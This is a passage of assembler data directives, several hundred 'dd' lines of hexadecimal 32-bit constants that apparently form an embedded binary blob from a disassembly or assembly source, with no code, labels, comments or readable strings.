dd 0AE490154h, 442E02FCh, 6023B115h, 407EE198h, 7A1DE634h
dd 0BEC06E22h, 36ED2D92h, 93CE00CBh, 0DD8E2963h, 3500B173h
dd 79489B0Fh, 1E2E19D3h, 40FCE6B9h, 0F497CFCAh, 6825C892h
dd 0B6AC20BEh, 0FEF188h, 7ECC6774h, 28638131h, 1A854E00h
dd 0F424FA54h, 0D7E40E91h, 5540323Eh, 76CC633Fh, 0EF835800h
dd 0A3268098h, 0AB9A1069h, 91A2006Ch, 7017117Ah, 0DC229DA5h
dd 0E360FEDDh, 6A02C25Dh, 8425D416h, 1EA852DAh, 38FA3371h
dd 0FF010A40h, 0BC506E6h, 3D0882F7h, 232A2486h, 0ECEF001Bh
dd 0F1347635h, 7689F3Fh, 0FC719DD1h, 0F87FB7A3h, 26D957h
dd 0D44E0F83h, 90CF9EF1h
dd 0D80420C0h, 34328AFh, 0B8395F25h, 0CC988AF9h, 0EC1D8775h
dd 4C00C345h, 1C67A233h, 0F3852035h, 167CC203h, 0DF5D1546h
dd 8887CB21h, 40F117E0h, 3F008B4Ch, 4372CE8Ch, 285A460h
dd 667E5FFCh, 82C0BF03h, 0C01DED93h, 6531280h, 0CBC2A701h
dd 90F84B38h, 0FAEC4Ah, 2C5A1CAEh, 59D4A961h, 669BA00h
dd 8C66E8F6h, 0C5430007h, 53CCFC5Bh, 0D7031627h, 0A1C96E8Bh
dd 0E2EAF8FAh, 516200CBh, 4455998h, 0CC1C8D36h, 21074201h
dd 0C601FC60h, 0ADC4570Fh, 0E5A0708h, 0DE1D0CC7h, 0F85CDDE0h
dd 100EB2Dh, 0BCF503FFh, 510A25h, 0FAFD927Dh, 0A3BD6B9Ch
dd 0B694E300h, 8F6C5B34h, 0E04200C0h, 0F3D65377h, 0D81FAAA6h
dd 0D505B4FEh, 904AB9F0h, 58D504B8h, 9B23E116h, 0BA00FE8Fh
dd 5D284350h, 0E6595h, 0FBB79F54h, 0C4744DAEh, 69E09679h
dd 40835303h, 83565CC5h, 0BB2BA0CFh, 9D7A3E29h, 8052F21Ch
dd 814B0665h, 5F03CE01h, 55F74D82h, 5940E737h, 127E198h
dd 25B79357h, 0F0430B5Bh, 461B125Ch, 806004F9h, 459463h
dd 0B4377BC5h, 68AA8AEFh, 69C82A00h, 9E8F9A1Dh, 0DE4F09A3h
dd 7C0038E3h, 7E0CE1FCh, 0AC312A01h, 9C4754CBh, 65CA2888h
dd 18843F90h, 4448442Ch, 484A3044h, 47FD4243h, 6A20EC24h
dd 0F483D90Fh, 84133922h, 1203FE21h, 2FA8108Bh, 34080489h
dd 44AF0844h, 2844846Fh, 433184B8h, 5AF3A15Dh, 1225B611h
dd 71D10DCh, 885BB788h, 70883C31h, 57D18845h, 14BB51CAh
dd 9023F008h, 6CF48474h, 48E1F48h, 8DACC0FEh, 477012h
dd 36F64216h, 67C93D98h, 5561B600h, 4DB430Ah, 1C7A80h
dd 0E4977094h, 0FD499EDh, 630041FAh, 8BBA51FFh, 7E47D9h
dd 9F718364h, 0C067198Fh, 80C9863Dh, 50A33144h, 111A7D9h
dd 0AE282105h, 0C3C191EAh, 0A28FABF0h, 500EBF00h, 69F23514h
dd 85FD1C28h, 30390355h, 0FEB07433h, 5A009936h, 0EFEA11F9h
dd 3C79301h, 0F2F44148h, 0FBD80AF6h, 0E50EDD97h, 0A003D171h
dd 943C88C9h, 7F7C02BAh, 0E0419D5Ah, 0B1129C40h, 0ED166200h
dd 408B0347h, 0FBDB001Ch, 0CA377849h, 7F1D1B87h, 0C2806DBFh
dd 2CAAF3E0h, 73B300E4h, 60F09A39h, 751C514Ah, 0C4C0354Bh
dd 239648E8h, 83A324E9h, 808815CCh, 0B8708406h, 1200D9F5h
dd 9D36A78Fh, 0E2BA15h, 0CCDB9220h, 890CCB3Bh, 0AFAB8714h
dd 0EF681D88h, 5F9F509Fh, 0CA97D1C0h, 0C059B353h, 3F44FC48h
dd 0B1002677h, 0B580E748h, 1E5E8B0h, 9106A211h, 0C03BF440h
dd 192E6064h, 0A6260716h, 2E2D0C00h, 773711Ch, 0D89367B5h
dd 0DE3050F9h, 5B006A0Ah, 24D60EF5h, 18F0ABh, 38C0EEAEh
dd 1F4A706Eh, 6798ED00h, 312DC222h, 99620024h, 3BF15812h
dd 0ED006E13h, 2555EFA5h, 1DB29C9Ah, 8042223Dh, 6B8687F1h
dd 340AB109h, 9498EE85h, 78379300h, 69D855h, 0FA4A0E41h
dd 75E0F9A2h, 6A2E281Dh, 0EDB20D80h, 90497CA3h, 8958503Ch
dd 60BC091Ch, 0C30046FBh, 22EA287Fh, 5C900E12h, 893B4804h
dd 9C6B7981h, 0B0289BC0h, 53E900B6h, 0C99521C4h, 25098309h
dd 16B6F0B0h, 71AA0308h, 171F1866h, 69A3BE8h, 0EB598203h
dd 0F86401F9h, 70D6B0FDh, 0F210C06Ah, 1774E973h, 30C0DB76h
dd 5808BC1Bh, 4D9E3BD8h, 40F5A313h, 77D459DCh, 0F4017932h
dd 7ACE89Fh, 0C320F3C0h, 4A6C00CFh, 85FFBF60h, 0CC3DA322h
dd 84F0E49h, 8405C0F0h, 3CD04D53h, 0AC8F50A4h, 88A77216h
dd 7C332006h, 8CB8BAB4h, 75A55A02h, 0F7501EA0h, 1FCEDE0h
dd 97003477h, 8BA8246Bh, 7FDB2B0Dh, 2658009Bh, 0BAE4364Eh
dd 59012C78h, 7A687E95h, 0DC300812h, 0BE9040h, 136CB91Dh
dd 0A41C9C4Fh, 0F0193800h, 0BD7C6F34h, 6FB0070h, 9C71ECEAh
dd 0A201271Bh, 3A51C912h, 0B1E4B36Dh, 65EB3BFCh, 300C73Eh
dd 0C437E194h, 5414A31Eh, 3CC04327h, 0C5BF8Bh, 3D9DF32Dh
dd 0B7197Ch, 1B981DC9h, 0D0CA70F6h, 556A5800h, 0A5EB0BF2h
dd 0EF2803D4h, 0E603CDD6h, 6AF04DC0h, 7A9BA009h, 6EB40089h
dd 0F27F7EB1h, 0EA7100D3h, 3FD2FFA4h, 0F060899Dh, 317D9678h
dd 411D0144h, 758267E1h, 83F0405Ch, 0F40050A5h, 922F9A2Ch
dd 9E2DC46h, 660DB12h, 0F75A0C80h, 22017457h, 0A68D6352h
dd 0BDDBB9DEh, 9F12FDC0h, 0CBB800E6h, 0DF5A7EBCh, 10F6BAD7h
dd 58984001h, 0B3388013h, 1FE91021h, 25F8ECh, 0C9DA324Fh
dd 642853BFh, 34F60CE2h, 0D67F060Ch, 28BF822h, 0CE5A9B49h
dd 9460671Ah, 0D5033B72h, 0B7443C1Bh, 65C000FDh, 261815B2h
dd 507AE7Ah, 0D7249FBEh, 89AA8560h, 38862436h, 0C77500E6h
dd 0CFF7DD4Bh, 0EC734607h, 398015AEh, 0AFB9Fh, 47E5AF56h
dd 92BFEACCh, 0C4BE7E1Dh, 0F1B1F640h, 368DD8h, 2E0104E9h
dd 98AC0D15h, 7F462300h, 0ADC90594h, 0C5261E9Bh, 0E0DD80B2h
dd 0FF5D63CDh, 0DC08B000h, 706BC818h, 5B5500ACh, 0DEE72DB8h
dd 0F45C1959h, 0D5007678h, 3E7F0D58h, 0A74722h, 17C58D08h
dd 4667236Ah, 9096EF00h, 5AFF5224h, 0D31D079Bh, 807508EBh
dd 284542F2h, 0D5C4B500h, 0E165A03Ah, 9A4C0225h, 0C8FF1BC9h
dd 0E3015CC6h, 5B3A412Ah, 1F70647Ch, 97AE1F72h, 1A03C019h
dd 0A018D7D5h, 4CF8FE02h, 0C07F17E2h, 486D4DDDh, 0E11E2838h
dd 1E93C034h, 60EB8F20h, 0F4488924h, 0A5FF7300h, 45C32Dh
dd 0AA76EC02h, 0BA66B4Ch, 0AEC2F002h, 0C8B5A194h, 3C719A90h
dd 41A85759h, 73D00CAh, 3E74CAE3h, 0E21E0B04h, 0DF4082C3h
dd 5D89837Fh, 68AE001Ah, 0C86D3B2Fh, 11FE738h, 8FC0D186h
dd 0C9B5566h, 0C175007Ah, 81A0C23Dh, 870FDF5Bh, 0A006B07Ch
dd 0D26B5A7Dh, 1FBB001Ch, 585CE4B9h, 0CA1E71F0h, 807DD385h
dd 6261123Dh, 102C77h, 40321594h, 0AB6C5EDh, 8FF03500h
dd 0A6C7DB1Ah, 0F898A1h, 6CDF3EABh, 62951D0h, 8A8D0112h
dd 907D1B00h, 60A0FB27h, 0C49B6215h, 0A7015B41h, 24E93340h
dd 3C3458A4h, 30720101h, 99C50312h, 0C3F83053h, 0AC543126h
dd 800F748Eh, 8840B692h, 3D85246Bh, 0F09000ACh, 4EB90B51h
dd 0EB05831Fh, 538104C0h, 0FAE5A369h, 68100E79h, 5F472556h
dd 0A883E0E6h, 7F001D85h, 95A67E26h, 1E8AE1Fh, 0C8BF1A33h
dd 0D80A504Ch, 9A003493h, 53D46C13h, 92FAC91Eh, 6D103AD0h
dd 0FFCA1AAh, 1A21EA0Bh, 3500EC14h, 31D3CDE8h, 6502B142h
dd 3C161E7Eh, 39F4C068h, 8FBB01A2h, 8CCD5AC7h, 77C0D380h
dd 9D2E6C57h, 803EB98Ah, 0A36322D5h, 14DB9BDh, 0EADB8B82h
dd 703A272Fh, 0E701E82Ch, 6F03F5A2h, 4C200153h, 12DF1894h
dd 72935619h, 47A5DA00h, 0A853BB2Eh, 0ED09004Bh, 8F4AF44Fh
dd 780EEF98h, 709150h, 9B1FC4A6h, 93080037h, 20F8B8BEh
dd 9C130AC3h, 0C21EFDD3h, 4DE75F80h, 0B265B68h, 2DB5336h
dd 0A719E880h, 0C1001F93h, 0E6A4C013h, 1C3FD5h, 0A2A97024h
dd 0D6B741Bh, 60F3C7ECh, 0CE0010D4h, 3CD81120h, 9A75FFh
dd 8D7C0D30h, 0C09F5B38h, 0A048AF02h, 602B8E2Dh, 73CAEAh
dd 0AC7E3541h, 765C054Bh, 387CC500h, 605F6ACCh, 74FB03D5h
dd 0E7351C24h, 5B2CA880h, 0D3C97A00h, 36C1BD39h, 38F24C01h
dd 119DC600h, 0C3E74706h, 70EEEC16h, 535EFA00h, 0F8F80DAh
dd 0CC88ED7h, 0E3921460h, 0BB01CBA5h, 4AB63E50h, 0EEE80DEBh
dd 0F394021Bh, 1289A2D8h, 0D3313860h, 76024F00h, 3BF65CB5h
dd 208D1280h, 6514025Bh
dd 64C07396h, 5C4860D0h, 2EC20008h, 0A47C1F08h, 56BE3DA7h
dd 0E0310074h, 86C910F7h, 1858A5D8h, 97B300C8h, 1B5ECA49h
dd 0F9381837h, 0F4BED0F3h, 0DCEE3900h, 61482DFh, 0DBB83Bh
dd 34A28BEBh, 3E778E26h, 0DFB38406h, 4C7BBBh, 0DEEAE85Fh
dd 887C23EEh, 0F592FA1Dh, 1C50CB8h, 0F6E9D00Dh, 0FD5E12D7h
dd 3D5892FEh, 6C129220h, 5B60521h, 809881B9h, 0C0F10654h
dd 3A000DFAh, 3454E89Ah, 28D4FD0h, 2456482Eh, 0C4A0C5C2h
dd 96CC1FAh, 60A6B01h, 0F104A2EEh, 8613C4h, 0FB424027h
dd 4610DCCAh, 0AF6D5B00h, 0C57E1C11h, 0C6AB00CEh, 0AE1758B7h
dd 3608A9E6h, 84456E44h, 0C80B1FC5h, 5F014AFCh, 4F47ECEEh
dd 0F20695Dh, 2E5B3E91h, 8320014Bh, 20ADAF37h, 0FD1D8DE0h
dd 4640F7A0h, 877F8C0h, 4CC8F86Eh, 0A30FB11Bh, 0B3C0792Bh
dd 2DFAE33Fh, 171F3300h, 575EA5D3h, 517DCDh, 21EA8ECh
dd 809E9055h, 586BBD26h, 14B8D920h, 8A823D00h, 8969F956h
dd 33A00A9Dh, 28F8AC4Ch, 35B500EFh, 12FC7C6Ch, 117A9BC8h
dd 432DA900h, 9DF4D574h, 1D67010h, 0BEBA4D64h, 60DA39ADh
dd 4A02CB98h, 362E1B1Dh, 0D0006B2Fh, 4FE39Dh, 24018A74h
dd 59575137h, 86528F00h, 0AC62690Ch, 140E00C1h, 7654E5Ah
dd 0AD00202Bh, 9EE2D112h, 24D602E3h, 9F5C1960h, 6EDE7Fh
dd 0ACB87FFh, 0AC00F688h, 289BAF8Bh, 7FB0B2A2h, 3C80000Fh
dd 59FA79Ah, 13007940h, 0B9DFA831h, 58F29Bh, 9DDE5CC6h
dd 0C5DCB363h, 88386F0Eh, 97236205h, 68E1E08Ah, 0CAB60007h
dd 0ADFC5C62h, 33095AA7h, 5D406FD9h, 3E77280h, 7D1DB959h
dd 284FA2Ch, 80EB0CC4h, 0AEC604Bh, 80E1EE39h, 87E822B2h
dd 0F29F97h, 0E48BCC05h, 1FEB165Fh, 1B722E00h, 94048A17h
dd 0AFDA00D1h, 0FA3F4D5Eh, 48008B9Fh, 0EFD234B7h, 0C06F9575h
dd 5C2E5644h, 0D306EABBh, 0D4A72BD1h, 0A97F28h, 49E5D214h
dd 6D93B581h, 0D357FD06h, 0B8555Eh, 234772EFh, 45D4444Fh
dd 669F2005h, 40803DE5h, 1B6CF574h, 509B89CCh, 5ECFBDA0h
dd 0D256E606h, 194A61h, 8BEAE208h, 5AE4DFB4h, 0B3DA2F00h
dd 5BAA6975h, 3F8172B6h, 5C809F56h, 0F62503CFh, 83006E94h
dd 90DAEE96h, 0B0C35Dh, 2D28120Bh, 0E08B237h, 0D7FE600h
dd 246B63E4h, 572000DCh, 70F0B5F8h, 0E009656h, 9A41E1A7h
dd 6F9C4Ah, 0ABC568A6h, 7E91A4CDh, 0D500B4EAh, 0FFBBF259h
dd 360732Bh, 0EDBEA6D4h, 37B097CAh, 0F400DB7Ch, 3290E88Ch
dd 7F17751h, 274BC8E3h, 0E6D1A0F0h, 73FE6B69h, 4D5FF600h
dd 0F544514Fh, 68BA3A29h, 75910070h, 24233222h, 0A53BF919h
dd 3E9200F1h, 0B8D4A1CAh, 393D0031h, 0AF1B8596h, 0F517020Bh
dd 510052FCh, 5E649D5Ah, 625D3C99h, 8F29B600h, 5369E778h
dd 3095D000h, 8284ACDCh, 32BE03Ch, 0A723081Ah, 18B2AEFAh
dd 3AD9BD60h, 77680900h, 0E299667Ah, 3F0F63Dh, 0A02350DCh
dd 73A8CAE8h, 121C71A1h, 81DE7EA3h, 26BCBDh, 3B86314Ah
dd 0A4B2D1h, 0B4987AECh, 8B15ACE6h, 0B6EE6275h, 0F3008E72h
dd 0C36843CCh, 5CF4032Ah, 82005EC5h, 52BD7BD4h, 0EC00A3D6h
dd 6E214EEDh, 78938790h, 30D3000Dh, 3D7F6D4Bh, 0B9F618CAh
dd 562E60C0h, 95ECEA0h, 0C8E45846h, 59630400h, 0CB002D03h
dd 0DC7A3A57h, 6390368Ah, 46D9406Eh, 206107D9h, 0A9004BFAh
dd 917DAEA3h, 97B78Dh, 6CD25829h, 62141E73h, 997AD71Dh
dd 0A0780941h, 0EAECED3Fh, 0E018900Ch, 18C007Ch, 811E3680h
dd 5914B5D8h, 4CFCD64Ah, 5A2B003Ch, 24B0078Ah, 6718C053h
dd 226A2315h, 49622505h, 69C09C85h, 79CE382Eh, 0F5D400B9h
dd 0DA6928C9h, 0DD00ECD0h, 76648CBh, 964116h, 0DC327FBFh
dd 3F1B0D13h, 0F9923500h, 0E65B6BD3h, 0B0DE0052h, 1564F266h
dd 2A0154C1h, 38C75630h, 0C20DA7Ch, 3696007Fh, 464EA2E2h
dd 0AD002713h, 0D6DBA507h, 21A37Bh, 19652512h, 2D43BF4Bh
dd 0C63C76E0h, 0C1F901CFh, 933DAF4Ch, 457024h, 548E3F55h
dd 0FB49A177h, 2EAEE707h, 0C0D7D8C2h, 183D7E60h, 0F79C004Fh
dd 3BEBA08Ch, 0D801E994h, 5165A8F3h, 9830FED3h, 84E30F50h
dd 6C40D69Ch, 1D1BE544h, 0A8709D00h, 8AAC1174h, 0C2DF0A0Eh
dd 0A854F0h, 8635D0CAh, 0AD248065h, 3800AC40h, 7AB75E42h
dd 0C445002Ch, 306B641Ah, 0CA1E6F90h, 2402FDEh, 71794352h
dd 6009EA45h, 0D48C485Eh, 0C51FE942h, 0B6C24DA8h, 48FC7424h
dd 9ECCA8h, 1A888A09h, 0D05B4091h, 0DFDD7001h, 641EFAF3h
dd 0C9D5AC50h, 8472452h, 0ABFC00D8h, 0D121EFD8h, 0FD1F5B71h
dd 0F6006909h, 0C57291BCh, 164F00E7h, 0EC93215Eh, 310051ACh
dd 0CAFDCC3Eh, 1FA18Eh, 0E3C954C0h, 478AA2D2h, 0D6CF60E3h
dd 9B1FB277h, 893E899Ah, 684E4Bh, 65F4F034h, 0E8E70383h
dd 8F995ACh, 4E27000h, 56C2922Eh, 45F439D4h, 0B3BB0B06h
dd 1F002037h, 7F29657Eh, 0FEC1A3h, 0D78BA2A1h, 1AF138E5h
dd 9D311F00h, 44B1900Dh, 0AC143998h, 0B7342282h, 60D5381Eh
dd 678430h, 491DAD8Ch, 7C4BE5A0h, 29E2638h, 2989CEEFh
dd 0A4C0C00Eh, 77D81FD5h, 9BFC0C3h, 0FE3FAAB6h, 7976497Dh
dd 0EB50F507h, 8107BD8Dh, 0E7AE8310h, 657DB3h, 409A7321h
dd 591133CBh, 4FC0B500h, 0E997221Dh, 0F5523EDEh, 729B0F8Dh
dd 0FD7C2028h, 0E0773E8h, 0C10D94DAh, 249C390h, 643C7738h
dd 0EEDB8159h, 833319C0h, 62C795Eh, 0AE1B02C4h, 0DCE420B1h
dd 4406D4F2h, 0F782E01Dh, 4A780039h, 26227BD0h, 0DB007642h
dd 0A7919C28h, 3AE71309h, 92831A7Eh, 88AED7BFh, 0DA7774F8h
dd 0B9DE1500h, 84E934E8h, 621B000Ch, 0A11B4FBh, 44008C46h
dd 819D73A8h, 2487BDh, 5ACE7C36h, 478228DFh, 5C547700h
dd 1E5FD968h, 0E08AFE7Ah, 363000ACh, 9E0FE63h, 7839EB0Eh
dd 0E341001Ah, 7D199CA8h, 3B4F6A1h, 0DBC72FD6h, 90B73F88h
dd 48E88477h, 0D21BA305h, 0B0832469h, 0C1758230h, 0E9F47854h
dd 10FA2444h, 0A4C2808Ch, 82DE94FFh, 8D954803h, 0B86DD85Ch
dd 7EE8E6h, 46098896h, 483A985h, 0A02CB100h, 138EBCF5h
dd 38284884h, 4559B800h, 0ACD6E814h, 0C8D048h, 0FA39D98Dh
dd 9A84AEC6h, 77550438h, 0C06C9022h, 5E41E8E8h, 0F4283Ch
dd 0B8627F3h, 1D66F7B5h, 40C9A3E0h, 31B7935Fh, 600C888h
dd 0CBEEC685h, 2497DA37h, 7C14E5h, 2DE2440Bh, 0C1241FEAh
dd 2428BCDDh, 0D829D900h, 99EC835Eh, 206300B3h, 36B2C15h
dd 18000B24h, 5453F3ADh, 207443Bh, 1C7ADBC3h, 38CB8C15h
dd 4CE1D490h, 6449CC90h, 2ED20BE8h, 0FC682761h, 50F79527h
dd 6B90F682h, 77E8E80Ch, 475D00BDh, 9E7D521Bh, 0FD09A286h
dd 801AD429h, 78CDB02Ch, 0E88DF234h, 0EE9A0089h, 6C4402Bh
dd 801FB211h, 99406EB1h, 0B382FE88h, 0F32D00BFh, 0A6FDA35Eh
dd 2F3A4E70h, 3FCC89h, 1CA01D94h, 13A2E602h, 8553188h
dd 901C01B0h, 37A436C3h, 0F9B90114h, 0E22A6E6Ch, 844C74B2h
dd 4900DC79h, 3BCDFF7h, 740D2Eh, 0AE1A6537h, 41F491FFh
dd 98094301h, 62B48AB7h, 8961C840h, 59D3005Bh, 0A8EE0C28h
dd 5F397C33h, 4CCD2E86h, 0C166EB0Fh, 0C741B0DCh, 0CA4560h
dd 0CB722036h, 0D68967Dh, 0F0F2BEEh, 60C58646h, 87A39E2Dh
dd 344712CCh, 701C078Bh, 0DDB0A0C9h, 7002C51h, 0A8FDAF78h
dd 0E68C8F26h, 0E0020998h
dd 0D1092D63h, 3400E5FCh, 0E995BA6Eh, 0A27F8Dh, 7153D47Ch
dd 63BCDE3Dh, 681A5109h, 0CF7A006Dh, 0FC259135h, 0C2D20016h
dd 0F51E0B8h, 400A59Ah, 0C9DFC081h, 4EF4792Fh, 7DC0000Dh
dd 3132775Fh, 5925A00h, 0F2647F2Dh, 0FF41073Eh, 9096CFC3h
dd 1F081B2Ch, 12CC7300h, 0A70A659Dh, 0B10E26B9h, 0E8FD3DF4h
dd 7CAA0163h, 0B82ED1D8h, 894474C4h, 710CB248h, 0D50068B0h
dd 2544BFA1h, 0D970F7h, 3BE041B5h, 16B6E790h, 0DABB1700h
dd 9ACB6862h, 463F00FCh, 2D7D8FEh, 0A00020B3h, 54B09565h
dd 2CC07F33h, 5830EB44h, 9300A8A9h, 0D018FEB2h, 0D38D67h
dd 0CFB972F2h, 0B1C0AB7Bh, 116FDF00h, 9DB7999Ch, 3E280079h
dd 0BCA5B9EDh, 7700A3F3h, 6B629EEh, 9FF8E23h, 9C89F127h
dd 499F0380h, 3E005875h, 0BE31E34Ch, 1C6D76DBh, 4E3C2BF9h
dd 8F00FC6Ch, 0B4789967h, 8C4CCF00h, 64D41A50h, 0B0BE0F35h
dd 5D409D88h, 3D7492D0h, 0F88DAC38h, 1CB2A203h, 9CA14Ah
dd 0D8C18648h, 0D571CD28h, 0F682A800h, 483C9026h, 0D0060751h
dd 20220D6Ah, 0F959695Eh, 8F23100Eh, 0C7A58254h, 0EBC8C07Dh
dd 4DC800A3h, 0D93BD061h, 0E500A1F4h, 5BCCBC24h, 4C5F53B9h
dd 0B240901Ah, 4EF126EAh, 97BE0718h, 663970E6h, 900AB5Ch
dd 28D502A2h, 30C5803h, 0F85B3D41h, 8097E1B1h, 0BE81682Ah
dd 332684BAh, 0F300AC45h, 5855EE09h, 0EB8E009Ch, 0CB769D07h
dd 7A79A27Ch, 3CE09B48h, 6189028Ah, 80C183B4h, 0FE95C2D0h
dd 0E714009Fh, 0BE965140h, 0DC0062E2h, 5E88CEB2h, 0B78C5EDh
dd 72A2B732h, 0FDC12800h, 7EFAE3B1h, 3BC223Ch, 377C4A42h
dd 0B8F29038h, 86D706C7h, 0C4B53653h, 3ED078C0h, 47155Eh
dd 0FA17E33h, 756F4BADh, 0FAE89D00h, 49F0A6E6h, 297557h
dd 0BC0E38D3h, 821C11CDh, 5018781Eh, 13754D01h, 0F8202605h
dd 0B03D0053h, 451EABFBh, 0B4548311h, 3700398Ch, 44FCF924h
dd 50CFCA72h, 8EE28Dh, 28B484DEh, 20AA1225h, 0D509DAB0h
dd 18C17Ch, 359B2A70h, 0F35C00E7h, 723CC773h, 7A0083F8h
dd 4DD5D739h, 0A1041h, 0A5B0E6AEh, 47B7D386h, 6FDE9A00h
dd 373E3469h, 0C65A027Eh, 0F8C548A8h, 0BDE6BBC0h, 2E41BE00h
dd 0E9DD59C0h, 3E0B091Eh, 0F25CFA79h, 9929003Bh, 43AAFB75h
dd 0BA650052h, 9D93A4D3h, 0F001A38h, 5F120437h, 240D63E7h
dd 82D4C92Ah, 0A0271BCBh, 0CC890440h, 0EFA464F7h, 0F06D6201h
dd 8F132106h, 0CDCA865h, 70884808h, 9383F00h, 0FB30D1Eh
dd 0E6EBC712h, 8FD0C00h, 0C080E0B2h, 1869E2C8h, 0C180401Dh
dd 12D7005Bh, 5C21F784h, 0D0BA78Dh, 801922EDh, 0ECA49961h
dd 0F1B0039h, 0A2929FDCh, 42E02F0Bh, 0AB06050Fh, 3A5F40EAh
dd 1868495Bh, 0C8B5BCA1h, 0EC126967h, 8F00BAA0h, 82DC56C3h
dd 77219896h, 0B8F097h, 0C8661379h, 2A883FD6h, 92B90116h
dd 63AE09h, 9DEE2FC4h, 65323B07h, 21139400h, 0CCF49C41h
dd 0D8006C4Ah, 0DA5B5ECh, 2A3E30A1h, 518673F0h, 86A9F02Ch
dd 2316FD3Bh, 520075C4h, 0DEEBA228h, 305379A7h, 0F5203976h
dd 10034E8Ah, 2BE4FDC6h, 22BFA8BEh, 7BCC00A9h, 18957DAEh
dd 49039D20h, 0B6034016h, 0CF58D976h, 0E4F07771h, 4F3800B1h
dd 8D32656Bh, 82012B56h, 8E44581Ah, 39F8F498h, 0B0280F0Eh
dd 0F380D16Fh, 489489D8h, 0E8078000h, 1BE53036h, 5F7D20h
dd 0C3EAC5FBh, 6FF139C1h, 54743B00h, 0AE649E29h, 4FB100BAh
dd 4ED995F2h, 4B0EA366h, 7292E4Dh, 7B9FA9Ch, 301028A8h
dd 2A649h, 9382BA9Bh, 0DF01662Fh, 73011CB2h, 0B9E98EF6h
dd 4C750579h, 4846B360h, 0A102CF25h, 305BC4BDh, 0C7CE2640h
dd 84591B3Dh, 904B7E3Ch, 67234890h, 792B00C8h, 0A9918D57h
dd 0FD008CB0h, 0EB9ECB12h, 5B07FEh, 0FCC25990h, 3BE13C4Ah
dd 0B09C4E00h, 60B3CA0Bh, 2516072Eh, 2F564C24h, 5E68A6A0h
dd 0B40092E0h, 21B01C89h, 0D48128h, 0A2EA936Fh, 924DE4A9h
dd 0B204AF00h, 0BE1CEB83h, 385FEAAh, 6EA8FAB0h, 0E7D0DC5Bh
dd 0EBB8FB4Fh, 12008B71h, 40AA8023h, 1C20E1Eh, 0A5512FC5h
dd 0DC52E5CAh, 0CD00F24Ch, 40DBF9AAh, 9980C2h, 7E9766Eh
dd 31660BB6h, 0F84AEC26h, 0FA3BE760h, 33403FE3h, 562512Eh
dd 0D08BEA4Ah, 2C64EFD4h, 907D3B1Fh, 9E54A140h, 0FB5F36A9h
dd 888CD443h, 5FA7528h, 740752E7h, 34C7EB78h, 0D4326D70h
dd 0B9AFCD7h, 49D9644Dh, 0F0BB0CA0h, 704CE331h, 0C7200E2h
dd 0AB68C51h, 13228B8h, 1F3001D4h, 81882967h, 4798241Ch
dd 0BD2E1500h, 560EDA18h, 0E07A05ADh, 1DE89997h, 350FC0C8h
dd 52F2C7FAh, 0CCE3CD00h, 4FBF4D10h, 0ACD44C29h, 0C332D100h
dd 0A68BE6F3h, 0F9B8EA00h, 7898E895h, 0BC67399Fh, 0CF1A6480h
dd 609EC3D4h, 0D26A3B03h, 0D8B61DABh, 12F8BBDBh, 18190Fh
dd 68BDDDA1h, 5F003562h, 4D9C4F04h, 72802BD8h, 0C354B01Ah
dd 0BB57529Eh, 3FC178BAh, 6440C26Bh, 0FD0014E6h, 0F2A8A390h
dd 98BE113Ch, 7C507298h, 0F1BD24C3h, 0CC580066h, 2F06B79Eh
dd 0A21C2894h, 1F1DC31Eh, 5AF48Bh, 361144ECh, 82EC38A8h
dd 33351C00h, 9C0BDD91h, 1A4D0C00h, 0F2348D68h, 4725B20h
dd 0C0DCCD0Ch, 3F252A57h, 9EC27C1Fh, 562B7E80h, 28D2E11h
dd 379A4935h, 8C80F607h, 0E866AC3Bh, 84D4A00h, 13C4754Bh
dd 0EFCE00CCh, 90FBC78h, 8E0CB61Ah, 0D0B9A881h, 3D55001Fh
dd 18FC369Ch, 1A006534h, 3C2AFF8Bh, 0B86809ECh, 0CF8700E1h
dd 0D5448085h, 1002FE7h, 5F05B38Ah, 4CDE9D1Ch, 0DD00787Ch
dd 170478E1h, 1E000201h, 0B638F995h, 1C6B241h, 45D74215h
dd 0EC80A471h, 3B07BCC5h, 2BEA60E2h, 1D330C00h, 98D76063h
dd 9DEC0E25h, 0B1764000h, 0BAAF35E4h, 7E070021h, 30391970h
dd 79021F17h, 8E843B34h, 2D4860BBh, 3F621F8Dh, 1D45C0D5h
dd 0F1A82208h, 3DF28F00h, 78801158h, 6DD72444h, 9360004Ch
dd 0A7BF643Fh, 7338960Bh, 7C5880C3h, 0E0E05332h, 1C9F4CC6h
dd 1AAFE400h, 7B970149h, 20A8F000h, 6FD6168Dh, 9041h, 0B580DF34h
dd 0D5705507h, 68005376h, 0F465AD1h, 24CFF63Ah, 598026Fh
dd 29914F5h, 7ACEB08Ch, 0F042CF0h, 5F6ED52h, 36758880h
dd 140D0220h, 0CA64F4A9h, 4E7340DFh, 2613056Bh, 0C0C39305h
dd 8238817Ah, 6FB35C0Eh, 3567C048h, 31D845E5h, 0ACE8A961h
dd 12FEE0A8h, 1566891Fh, 0F57CB1C3h, 4D18A07Bh, 0A380A0B7h
dd 0C81E5C51h, 0C480E13Fh, 64D90AC7h, 675A5C5h, 47F94D01h
dd 0C377679Eh, 5C7DD470h, 34281C20h, 0C0100F4h, 0C9D2E2F3h
dd 0DD2CF0E4h, 7800B494h, 2B67E82Ch, 0AC28CF35h, 0F8AF3020h
dd 0EE4864AEh, 0EA7D00BAh, 50FEC788h, 0BDAD2860h, 2687ADEh
dd 0F0EDFF52h, 2E628B1Fh, 8070A426h, 48DA488h, 0DB027590h
dd 0D2498441h, 3722E007h, 255A0005h, 3C76AF7h, 2C0FE374h
dd 82D0D68Dh, 0E07047BAh, 9D41578h, 0F439CF75h, 84E04C09h
dd 0A507AB57h, 7124EF9Fh, 834B2B07h, 0E08F961Fh, 9CAEE201h
dd 0F3C68060h, 986CF750h, 3C249716h, 0FC04E4D0h, 9F4ECCh
dd 5AAAC090h, 7407D773h, 0EC34C8B1h, 455549F0h, 9357074Dh
dd 90173DE2h, 0A508B7E1h, 9D1FBF70h, 1E1787D9h, 0C21028D2h
dd 0D336C194h, 1BD8E8C5h, 51920909h, 58006487h, 2FE6D00Fh
dd 10638930h, 79BBB1h, 53F88830h, 5F51A4F4h, 96BD1200h
dd 0AE3CFEAFh
dd 63720Bh, 0BC8191A1h, 2004B21Bh, 28E558h, 66E1A8A0h
dd 0A236464Ch, 0C0D94290h, 0B44E170Eh, 61A1BA14h, 10900797h
dd 2485524h, 2CF4B6C3h, 6078DD46h, 6C649201h, 7049D056h
dd 43007C3Ch, 0E64B4EA7h, 0E7398133h, 210D0A5Eh, 5A00FDC9h
dd 0DE6B2866h, 52D4A8CDh, 0F70D0140h, 159BD4F9h, 1C79EC4Ch
